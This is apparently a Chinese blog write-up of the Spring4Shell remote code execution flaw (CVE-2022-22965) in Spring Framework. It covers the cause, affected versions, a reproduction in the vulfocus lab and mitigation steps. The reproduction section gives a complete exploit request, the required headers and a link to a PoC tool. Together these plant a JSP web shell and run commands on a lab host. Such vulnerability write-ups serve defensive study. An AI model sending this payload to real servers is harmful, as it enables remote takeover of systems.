1. 程式人生 > 其它 >Spring Framework遠端程式碼執行漏洞(CVE-2022-22965)

Spring Framework遠端程式碼執行漏洞(CVE-2022-22965)

一、漏洞描述

springframework 是spring 裡面的一個基礎開源框架,主要用於javaee的企業開發。

2022年3月30日,Spring框架曝出RCE 0day漏洞,攻擊者通過該漏洞可遠端實現對目標主機的後門檔案寫入和配置修改,繼而通過後門檔案訪問獲得目標主機許可權。

二、漏洞成因

該漏洞是由於 Spring Core 未對傳輸的資料進行有效的驗證。Spring MVC 框架提供引數繫結功能,允許用請求中的引數繫結控制器方法中引數物件的成員變數。這一機制使得攻擊者能夠通過構造惡意請求獲取 AccessLogValve 物件,繼而注入惡意欄位值觸發 pipeline 機制,從而能夠在未授權的情況下遠端構造惡意資料,寫入任意路徑下的檔案,從而導致遠端程式碼執行。

三、影響版本

Spring Framework 5.3.X < 5.3.18 

Spring Framework 5.2.X < 5.2.20

注:其他小版本未更新均受影響

四、利用條件

  • JDK 版本 >= 9
  • 使用了 Spring 框架或衍生框架
  • CachedIntrospectionResults.class

五、漏洞復現

復現環境:vulfocus靶場

註冊登入後,啟動Spring Framework 遠端命令執行漏洞環境。

 

 

 python工具復現:

工具下載地址:https://github.com/reznok/Spring4Shell-POC

 

瀏覽器訪問http://123.58.236.76:16164/shell.jsp?cmd=whoami即可看到“whoami”命令成功執行。

 

 

 

 

 

burp工具復現:

 EXP:

?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte
%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

訪問時抓包,在"/"後插入EXP,並在請求頭中插入如下字樣:

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

Content-Length: 2

 

 

放包後訪問123.58.236.76:17594/tomcatwar.jsp?pwd=j&cmd=id即可看到“id”命令成功執行。

 

 

六、修復建議

一、官方修復建議:

當前 Spring Framework 官方已釋出最新版本,建議受影響的使用者及時更新升級到最新版本。連結如下:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

二、臨時修復建議:

該臨時修復建議存在一定風險,建議使用者可根據業務系統特性審慎選擇採用臨時修復方案:

需同時按以下兩個步驟進行漏洞的臨時修復:

1. 在應用中全域性搜尋 @InitBinder 註解,看看方法體內是否呼叫 dataBinder.setDisallowedFields 方法,如果發現此程式碼片段的引入,則在原來的黑名單中,新增 {"class.*","Class. *","*. class.*", "*.Class.*"}。(注:如果此程式碼片段使用較多,需要每個地方都追加)

2. 在應用系統的專案包下新建以下全域性類,並保證這個類被 Spring 載入到 (推薦在 Controller 所在的包中新增). 完成類新增後,需對專案進行重新編譯打包和功能驗證測試。並重新發布專案。